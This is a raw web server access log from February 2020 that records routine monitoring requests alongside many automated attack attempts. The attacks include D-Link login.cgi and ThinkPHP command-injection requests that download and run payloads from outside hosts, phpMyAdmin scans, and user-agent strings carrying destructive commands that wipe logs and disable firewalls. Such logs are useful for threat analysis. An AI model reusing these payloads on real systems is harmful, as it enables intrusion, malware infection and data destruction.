212.91.246.72 - - [16/Feb/2020:21:45:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [16/Feb/2020:21:46:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [16/Feb/2020:21:46:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
197.205.12.244 - - [16/Feb/2020:21:46:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.116.93.35 - - [16/Feb/2020:21:46:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [16/Feb/2020:21:46:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:21:46:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [16/Feb/2020:21:46:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:21:47:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.15.151.131 - - [16/Feb/2020:21:47:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
121.1.38.228 - - [16/Feb/2020:21:48:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:21:48:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:49:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:50:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:51:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:52:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.228.202.3 - - [16/Feb/2020:21:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:21:53:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:54:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.57.235.154 - - [16/Feb/2020:21:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:21:55:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:56:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:57:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:58:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:59:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [16/Feb/2020:22:00:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:22:00:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [16/Feb/2020:22:01:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [16/Feb/2020:22:01:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:02:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:03:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:04:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [16/Feb/2020:22:05:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [16/Feb/2020:22:05:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:06:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:07:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:08:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:09:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.137.165.223 - - [16/Feb/2020:22:10:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
2.187.77.192 - - [16/Feb/2020:22:10:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
2.187.77.192 - - [16/Feb/2020:22:10:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:22:10:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:11:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.133.191 - - [16/Feb/2020:22:12:40 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
192.241.133.191 - - [16/Feb/2020:22:12:40 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
192.241.133.191 - - [16/Feb/2020:22:12:41 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
192.241.133.191 - - [16/Feb/2020:22:12:41 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
192.241.133.191 - - [16/Feb/2020:22:12:41 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
192.241.133.191 - - [16/Feb/2020:22:12:41 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
212.91.246.72 - - [16/Feb/2020:22:12:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:13:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:14:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:15:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:16:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:17:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.187.42.41 - - [16/Feb/2020:22:18:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:22:18:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:19:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:20:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:21:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.187.199.155 - - [16/Feb/2020:22:22:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:22:22:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.225.112.63 - - [16/Feb/2020:22:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:22:23:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:24:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.52.24.163 - - [16/Feb/2020:22:24:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [16/Feb/2020:22:25:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:26:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:27:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.228.13.219 - - [16/Feb/2020:22:28:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:22:28:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.77.51.27 - - [16/Feb/2020:22:29:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:22:29:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:30:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:31:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [16/Feb/2020:22:32:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [16/Feb/2020:22:32:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [16/Feb/2020:22:32:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [16/Feb/2020:22:32:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:22:32:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [16/Feb/2020:22:33:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
49.68.246.198 - - [16/Feb/2020:22:33:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [16/Feb/2020:22:33:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:34:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.194.220 - - [16/Feb/2020:22:35:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:22:35:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:36:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:37:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:38:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:39:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.203.0.129 - - [16/Feb/2020:22:40:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:22:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:41:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:42:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.137.165.223 - - [16/Feb/2020:22:43:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
37.191.208.220 - - [16/Feb/2020:22:43:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:22:43:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:44:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:45:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.14.142.134 - - [16/Feb/2020:22:45:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:22:46:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.97.196.40 - - [16/Feb/2020:22:47:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:22:47:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.203.2.234 - - [16/Feb/2020:22:48:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:22:48:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
65.99.152.25 - - [16/Feb/2020:22:49:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:22:49:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:50:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.174.195.104 - - [16/Feb/2020:22:51:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:22:51:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:52:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:53:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.250.210.19 - - [16/Feb/2020:22:53:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:22:54:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:55:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:56:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:57:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:22:58:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.237.74.214 - - [16/Feb/2020:22:59:03 +0100] "HEAD /wp-admin/ HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [16/Feb/2020:22:59:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.252.183.77 - - [16/Feb/2020:23:00:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
